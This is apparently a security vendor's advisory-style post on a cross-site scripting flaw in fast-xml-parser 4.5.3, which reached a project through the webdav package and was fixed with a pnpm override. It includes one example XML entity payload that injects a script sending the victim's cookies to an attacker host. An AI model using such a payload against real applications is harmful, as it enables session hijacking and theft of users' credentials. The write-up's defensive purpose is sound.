How Cross-Site Scripting happens in fast-xml-parser and how to fix it

How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It

Vulnerability at a Glance

Introduction

The pnpm-lock.yaml file in this project recorded a resolved version of fast-xml-parser@4.5.3 — a transitive dependency pulled in by another package in the tree. That single locked version contained a critical flaw: when the parser encountered a DOCTYPE block with custom entity declarations in untrusted XML input, it failed to neutralize those entities before producing output. The result is a Cross-Site Scripting (XSS) vulnerability that could allow an attacker to inject executable JavaScript into any surface that renders or forwards the parsed content.

The vulnerability was assigned CVE-2026-25896 and rated Critical. Trivy's scanner flagged the package hash recorded in the lock file:

# Vulnerable — pnpm-lock.yaml (before fix)
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true

That integrity hash uniquely identifies the vulnerable build. Once it appears in a lock file, every developer and CI runner that installs dependencies will receive the vulnerable code.

The Vulnerability Explained

DOCTYPE Entities and Why They Are Dangerous

XML's DOCTYPE declaration allows a document to define its own internal entities — shorthand substitutions that the parser expands before handing the document tree to the application. A well-known class of attacks, XML Entity Expansion (related to XXE), abuses this feature. CVE-2026-25896 is a variant in which fast-xml-parser 4.5.3 does not properly sanitize entity values declared in a DOCTYPE before those values flow into the parsed output.

Consider a crafted XML payload like this:

<!DOCTYPE foo [
  <!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>

When fast-xml-parser 4.5.3 processes this document, the entity &xss; is expanded and the raw <script> string survives into the parsed value of <root>. If the application then:

• Renders that value in a web page without additional escaping, or
• Forwards the parsed string to another system that trusts it

…the attacker's script executes in a victim's browser.

Why Transitive Dependencies Are the Hidden Risk

The vulnerable version was not a direct dependency of this project. It was pulled in transitively — specifically through the webdav package (visible in the lock file snapshot), which declared fast-xml-parser: 4.5.3 as one of its own dependencies:

# pnpm-lock.yaml snapshot (before fix)
snapshots:
  ...
  webdav@...:
    dependencies:
      ...
      fast-xml-parser: 4.5.3   # ← transitive vulnerable version

This is a common blind spot. Teams audit their direct dependencies carefully but may not realize a third-party package deep in the tree is quietly introducing a critical vulnerability.

Real-World Attack Scenario

Imagine this application parses XML documents fetched from external sources or submitted by users — a calendar feed, a configuration file upload, or a WebDAV resource. An attacker who controls that XML source crafts a payload with a malicious DOCTYPE entity. The server parses it with fast-xml-parser, the expanded entity value containing <script>...</script> is stored or returned in an API response, and a front-end component renders it unsanitized. The attacker now has arbitrary JavaScript execution in the victim's browser session — enabling session hijacking, credential theft, or malicious redirects.

The Fix

The fix involved two coordinated changes: upgrading the resolved package version and locking the entire dependency tree against the old version using a pnpm override.

1. Pinning the Version with a pnpm Override (package.json)

Simply updating a transitive dependency is not enough on its own — pnpm might still resolve the old version for some packages unless explicitly instructed otherwise. The fix adds a pnpm.overrides block to package.json:

// package.json — AFTER fix
"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4"
  }
}

This directive tells pnpm: regardless of what any package in the dependency tree requests, always resolve fast-xml-parser to 4.5.4. It is the pnpm equivalent of npm's overrides or Yarn's resolutions field, and it is the only reliable way to force a patched version across the entire tree.

2. Updating the Lock File (pnpm-lock.yaml)

With the override in place, the lock file was regenerated. The integrity hash for fast-xml-parser changed from the vulnerable build to the patched one:

# pnpm-lock.yaml — BEFORE
fast-xml-parser@4.5.3:
  resolution: {integrity: sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==}
  hasBin: true

# pnpm-lock.yaml — AFTER
fast-xml-parser@4.5.4:
  resolution: {integrity: sha512-jE8ugADnYOBsu1uaoayVl1tVKAMNOXyjwvv2U6udEA2ORBhDooJDWoGxTkhd4Qn4yh59JVVt/pKXtjPwx9OguQ==}
  hasBin: true

The override entry is also recorded at the top of the lock file to make the constraint explicit and auditable:

# pnpm-lock.yaml — AFTER (top of file)
overrides:
  fast-xml-parser: 4.5.4

Every snapshot that previously referenced fast-xml-parser: 4.5.3 — including the webdav package snapshot — now points to 4.5.4:

# Before
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.3

# After
webdav@...:
  dependencies:
    fast-xml-parser: 4.5.4

Why Both Changes Were Necessary

Without the override, a future pnpm install or a new transitive dependency could silently re-introduce 4.5.3. Without the lock file update, the old hash would still be installed despite the override.

Key Takeaways

• fast-xml-parser@4.5.3 is vulnerable to XSS via DOCTYPE entity expansion — any application that parses untrusted XML with this version is at risk, regardless of whether it is a direct or transitive dependency.
• A pnpm override in package.json is required to force the patched version across all transitive dependents — upgrading only the lock file entry is insufficient.
• The webdav package's snapshot in pnpm-lock.yaml was the specific transitive path that introduced the vulnerable version, illustrating that third-party packages can silently carry critical vulnerabilities.
• Lock file integrity hashes are your ground truth — Trivy flagged this vulnerability by matching the sha512 hash of fast-xml-parser@4.5.3 in pnpm-lock.yaml, not just the version string.
• DOCTYPE entity handling is a persistent XML attack surface — even modern, widely-used parsers can have gaps; always pair library upgrades with application-level output encoding.

How Orbis AppSec Detected This

• Source: Untrusted XML content containing DOCTYPE entity declarations, processed by fast-xml-parser as a transitive dependency resolved via pnpm-lock.yaml.
• Sink: The entity expansion logic within fast-xml-parser@4.5.3, which allows raw <script> content from DOCTYPE-defined entities to survive into parsed output without neutralization.
• Missing control: No sanitization or rejection of DOCTYPE entity values before they were included in the parser's output; no pnpm override preventing the vulnerable version from being resolved transitively.
• CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
• Fix: fast-xml-parser was upgraded to 4.5.4 and a pnpm.overrides entry was added to package.json to force the patched version across the entire dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-25896 is a reminder that critical vulnerabilities don't always arrive through code you write — they can hide several layers deep in your dependency tree, locked in place by a hash in a file most developers never open. In this case, fast-xml-parser@4.5.3's failure to sanitize DOCTYPE entity values created a direct path to XSS for any application parsing untrusted XML.

The fix is precise and minimal: upgrade to 4.5.4, add a pnpm override to prevent the vulnerable version from re-entering the tree through any transitive path, and commit the updated lock file so every environment gets the patched bytes. Pair that with regular transitive dependency audits in CI and application-level output encoding, and this class of vulnerability becomes much harder to exploit.

Security is a layered discipline — patched dependencies, encoded output, and automated scanning working together are what keep users safe.